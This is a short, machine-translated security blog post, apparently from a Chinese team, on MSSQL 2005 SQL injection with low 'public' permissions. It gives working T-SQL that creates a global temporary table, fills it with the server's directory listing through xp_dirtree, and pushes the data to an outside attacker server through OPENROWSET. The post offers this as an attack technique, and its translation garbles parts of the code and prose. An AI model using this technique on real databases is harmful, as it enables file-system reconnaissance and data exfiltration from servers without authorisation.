Software Author: kj021320
Source of information: I.S.T.O technical Team (http://blog.csdn.net/I_S_T_O/)
Originally this article has been put in the team for a long time! Just a small part of the <<art of SQL Injection>>, unfortunately wrote a long time to collect a lot of information but it is estimated that the end of the year did not come out ~ then first sent out! The main MSSQL2005 are here! 2 K of the words will not be long to be eliminated ~ take out to communicate with you ~ ~ Advertising said finished ...
Body:
Users who raise public permissions estimates many people feel depressed too. ~n a long time ago read a "on the MSSQL in the public and db_owner permission to get Webshell or system Permissions" article (name really long-_-!!!), Inside said no way to use XP_ Regread,xp_dirtree ... These stored procedures, because the public has no way to build the table, I am here to correct the fact that public can build the table ~ Oh, so that these stored procedures can be used, look at the following code
--Create a temporary table, the general table we are no way to build, we can only create temporary tables
CREATE TABLE # #nonamed (
Dir ntext,
Num INT
)
--invokes the stored procedure to save the executed data to the temporary table
Insert # #nonamed Execute master. Xp_dirtree ' C:\ ', 1
-then use the OPENROWSET function to guide the data of the temporary table into the local MSSQL DirTree table.
INSERT INTO OPENROWSET (' SQLOLEDB ', ' 192.0.0.1 '; User '; ' Pass ', ' select * from Northwind.dbo.dirtree ')
SELECT * FROM # #nonamed
The above method, that is to say, public can traverse the directory of user server specifically what the use of the value of it ~ hehe opinions
trackback:http://tb.blog.csdn.net/trackback.aspx?postid=1736964
